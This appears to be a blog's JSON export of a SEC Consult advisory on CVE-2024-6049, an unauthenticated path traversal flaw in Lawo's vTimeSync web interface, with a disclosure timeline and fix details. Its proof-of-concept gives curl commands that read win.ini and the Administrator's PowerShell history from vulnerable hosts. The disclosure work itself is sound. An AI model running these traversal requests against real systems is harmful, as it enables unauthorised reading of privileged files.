{"id":59926,"date":"2024-10-26T16:00:56","date_gmt":"2024-10-26T13:00:56","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182347\/SA-20241024-0.txt"},"modified":"2024-10-26T16:00:56","modified_gmt":"2024-10-26T13:00:56","slug":"lawo-ag-vsm-ltc-time-sync-path-traversal","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/lawo-ag-vsm-ltc-time-sync-path-traversal\/","title":{"rendered":"Lawo AG vsm LTC Time Sync Path Traversal"},"content":{"rendered":"<p>SEC Consult Vulnerability Lab Security Advisory &lt; 20241024-0 &gt;<br \/>=======================================================================<br \/>title: Unauthenticated Path Traversal Vulnerability<br \/>product: Lawo AG &#8211; vsm LTC Time Sync (vTimeSync)<br \/>vulnerable version: &lt;4.5.6.0<br \/>fixed version: 4.5.6.0<br \/>CVE number: CVE-2024-6049<br \/>impact: high<br \/>homepage: https:\/\/docs.lawo.com\/vsm-ip-broadcast-control-system\/vsmgear-user-manual\/discontinued-products\/vsmltc<br \/>found: 2024-01-11<br \/>by: Sandro Einfeldt<br \/>Dennis Jung<br \/>SEC Consult Vulnerability Lab<\/p>\n<p>An integrated part of SEC Consult, an Eviden business<br \/>Europe | Asia<\/p>\n<p>https:\/\/www.sec-consult.com<\/p>\n<p>=======================================================================<\/p>\n<p>Vendor description:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>&#8220;Lawo designs and manufactures video, audio, control and monitoring<br \/>technology for broadcast, performing arts, installed sound and corporate<br \/>applications. All products are developed in Germany and manufactured<br \/>according to highest quality standards at the company&#8217;s headquarters<br \/>in the Rhine valley town of Rastatt, Germany.&#8221;<\/p>\n<p>Source: https:\/\/lawo.com\/company\/about-us\/<\/p>\n<p>Business recommendation:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>The vendor provides a patch which should be installed immediately.<\/p>\n<p>SEC Consult highly recommends to perform a thorough security review of the product<br \/>conducted by security professionals to identify and resolve potential further<br \/>security issues.<\/p>\n<p>Vulnerability overview\/description:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>1) Unauthenticated Path Traversal Vulnerability (CVE-2024-6049)<br \/>The web interface of vsm LTC Time Sync (vTimeSync) is vulnerable to a path<br \/>traversal vulnerability. By sending a specially crafted HTTP request, an<br \/>unauthenticated remote attacker can download arbitrary files from the vulnerable<br \/>system. As a limitation, the exploitation is only possible if the requested file<br \/>has a file extension, e.g. .exe or .txt.<\/p>\n<p>The web server is running with highest SYSTEM privileges per default, which<br \/>enables an attacker to gain access to privileged files.<\/p>\n<p>Proof of concept:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>1) Unauthenticated Path Traversal Vulnerability (CVE-2024-6049)<br \/>To exploit the vulnerability it is sufficient to use the following curl-command<br \/>to send a request to the vulnerable web server:<\/p>\n<p>curl http:\/\/$host:8033\/&#8230;\/&#8230;\/&#8230;\/&#8230;\/&#8230;\/&#8230;\/&#8230;\/&#8230;\/&#8230;\/&lt;Path to file&gt;<\/p>\n<p>For example, the following command can be used to request the default file<br \/>win.ini:<\/p>\n<p>curl http:\/\/$host:8033\/&#8230;\/&#8230;\/&#8230;\/&#8230;\/&#8230;\/&#8230;\/&#8230;\/&#8230;\/&#8230;\/Windows\/win.ini<\/p>\n<p>If the application is running with SYSTEM-privileges (default), the following<br \/>command can be used to exfiltrate the Powershell history of the Windows<br \/>administrator, which might leak sensitive information:<\/p>\n<p>curl http:\/\/$host:8033\/&#8230;\/&#8230;\/&#8230;\/&#8230;\/&#8230;\/&#8230;\/&#8230;\/&#8230;\/&#8230;\/Users\/Administrator\/AppData\/Roaming\/Microsoft\/Windows\/PowerShell\/PSReadline\/ConsoleHost_history.txt<\/p>\n<p>Vulnerable \/ tested versions:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>The following version has been tested which was the latest version available<br \/>at the time of the test:<br \/>* 4.4.12.0<\/p>\n<p>According to the vendor, versions before 4.5 are affected and v4.5.6.0<br \/>includes the fixes.<\/p>\n<p>Vendor contact timeline:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>2024-01-22: Contacting vendor through info@lawo.com; no response<br \/>2024-02-14: Contacting vendor again, adding support@lawo.com email<br \/>2024-02-15: Vendor response (support), asking for details.<br \/>2024-02-15: Asking where to submit the advisory, whether encryption<br \/>is supported.<br \/>2024-02-16: Vendor, submit either via email or JIRA; informing us<br \/>that broadcasting software security levels are not that high<br \/>as the network is usually not connected to the outside.<br \/>2024-02-16: Submitting security advisory to vendor JIRA; explaining<br \/>our severity estimation and risks by exposing the affected<br \/>service.<br \/>2024-02-20: Vendor has taken a look at the advisory, asking whether<br \/>HTTPS would solve the issue.<br \/>Telling vendor, that HTTPS won&#8217;t fix the problem, describing<br \/>the security issue again, providing link to OWASP path traversal<br \/>page, etc.<br \/>2024-02-21: Vendor cannot reproduce issue in Chrome browser.<br \/>Explaining how we exploited the vulnerability.<br \/>2024-03-11: Asking for a status update; no update from R&amp;D yet, vendor will<br \/>keep us updated.<br \/>2024-04-09: Asking for a status update, whether vendor needs further support.<br \/>2024-04-10: Vendor pinged their PM, will let us know as soon as feedback is<br \/>available.<br \/>2024-05-15: Vendor recently introduced &#8220;a login&#8221; for vTimeSync which only<br \/>lets people with a username and a PW access the page. Vendor asks<br \/>us whether this would cover the vulnerability.<br \/>2024-05-23: Telling the vendor that a login does not fix the identified<br \/>path traversal issue; no response.<br \/>2024-06-17: Asking for a status update again.<br \/>2024-06-17: Vendor support has forwarded our feedback internally.<br \/>2024-09-25: Asking for a status update, CVE and affected\/fixed version number.<br \/>Preparing for release in October.<br \/>2024-09-25: Vendor support still has no updates, asking product management and<br \/>RnD team again.<br \/>2024-09-26: Asking the vendor to keep us informed.<br \/>2024-09-27: Vendor support will review the case next Wednesday.<br \/>2024-10-10: Asking for a status update.<br \/>Vendor has no news, this topic is in the R&amp;D backlog, no date yet<br \/>when development will be started.<br \/>2024-10-11: Vendor states that the developers have already fixed the issue in<br \/>the current release.<br \/>2024-10-17: Asking for the version numbers (affected \/ patched).<br \/>Vendor provides download to version 4.5.6.0 including changelog.<br \/>Changelog contains information about security fix in version 4.4.13,<br \/>but also changes regarding SSL\/HTTPS and logon feature in 4.5.0 and 4.5.1.<br \/>Asking the vendor again, in which version the issue has been<br \/>fixed.<br \/>Vendor informs us the problem is fixed after v4.5 and we should use<br \/>the latest version.<br \/>2024-10-21: Confirming version numbers, sending draft advisory to vendor and<br \/>assigned CVE-2024-6049.<br \/>2024-10-24: Coordinated release of security advisory.<\/p>\n<p>Solution:<br \/>&#8212;&#8212;&#8212;<br \/>The vendor provides a patch in versions after v4.5 which can be downloaded from the<br \/>following URL, such as version 4.5.6.0.<br \/>https:\/\/lawo.com\/lawo-downloads\/<\/p>\n<p>Workaround:<br \/>&#8212;&#8212;&#8212;&#8211;<br \/>None<\/p>\n<p>Advisory URL:<br \/>&#8212;&#8212;&#8212;&#8212;-<br \/>https:\/\/sec-consult.com\/vulnerability-lab\/<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>SEC Consult Vulnerability Lab<br \/>An integrated part of SEC Consult, an Eviden business<br \/>Europe | Asia<\/p>\n<p>About SEC Consult Vulnerability Lab<br \/>The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an<br \/>Eviden business. It ensures the continued knowledge gain of SEC Consult in the<br \/>field of network and application security to stay ahead of the attacker. The<br \/>SEC Consult Vulnerability Lab supports high-quality penetration testing and<br \/>the evaluation of new offensive and defensive technologies for our customers.<br \/>Hence our customers obtain the most current information about vulnerabilities<br \/>and valid recommendation about the risk profile of new technologies.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br \/>Interested to work with the experts of SEC Consult?<br \/>Send us your application https:\/\/sec-consult.com\/career\/<\/p>\n<p>Interested in improving your cyber security with the experts of SEC Consult?<br \/>Contact our local offices https:\/\/sec-consult.com\/contact\/<br \/>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Mail: security-research at sec-consult dot com<br \/>Web: https:\/\/www.sec-consult.com<br \/>Blog: https:\/\/blog.sec-consult.com<br \/>Twitter: https:\/\/twitter.com\/sec_consult<\/p>\n<p>EOF Sandro Einfeldt, Dennis Jung, Johannes Greil \/ @2024<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SEC Consult Vulnerability Lab Security Advisory &lt; 20241024-0 &gt;=======================================================================title: Unauthenticated Path Traversal Vulnerabilityproduct: Lawo AG &#8211; vsm LTC Time Sync (vTimeSync)vulnerable version: &lt;4.5.6.0fixed version: 4.5.6.0CVE number: CVE-2024-6049impact: highhomepage: https:\/\/docs.lawo.com\/vsm-ip-broadcast-control-system\/vsmgear-user-manual\/discontinued-products\/vsmltcfound: 2024-01-11by: Sandro EinfeldtDennis JungSEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden businessEurope | Asia https:\/\/www.sec-consult.com ======================================================================= Vendor description:&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-&#8220;Lawo designs and manufactures video, &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59926","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59926","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59926"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59926\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59926"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59926"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59926"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}